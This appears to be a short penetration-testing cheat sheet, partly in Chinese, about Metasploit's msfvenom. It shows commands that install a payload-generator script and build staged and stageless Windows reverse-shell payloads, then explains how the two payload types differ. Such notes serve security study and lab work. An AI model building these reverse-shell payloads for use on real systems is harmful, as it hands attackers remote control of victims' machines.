git clone https://github.com/nopernik/msfvenom-bc-generator.git cd msfvenom-bc-generator/ cp msfvenom_bc_generator.rb /usr/share/metasploit-framework/ ruby msfvenom_bc_generator.rb
staged and unstaged/stageless
unstaged/stageless
1
msfvenom -p windows/shell_reverse_tcp
staged
1
msfvenom -p windows/shell/reverse_tcp
NOTE: staged 无法使用 nc 接收 reverse shell
NON STAGED
A single payload containing the exploit and full shell code for the selected task. Inline payloads are by design more stable than their counterparts because they contain everything all in one. However some exploits wont support the resulting size of these payloads.
STAGER
Stager payloads work in conjunction with stage payloads in order to perform a specific task. A stager establishes a communication channel between the attacker and the victim and reads in a stage payload to execute on the remote host.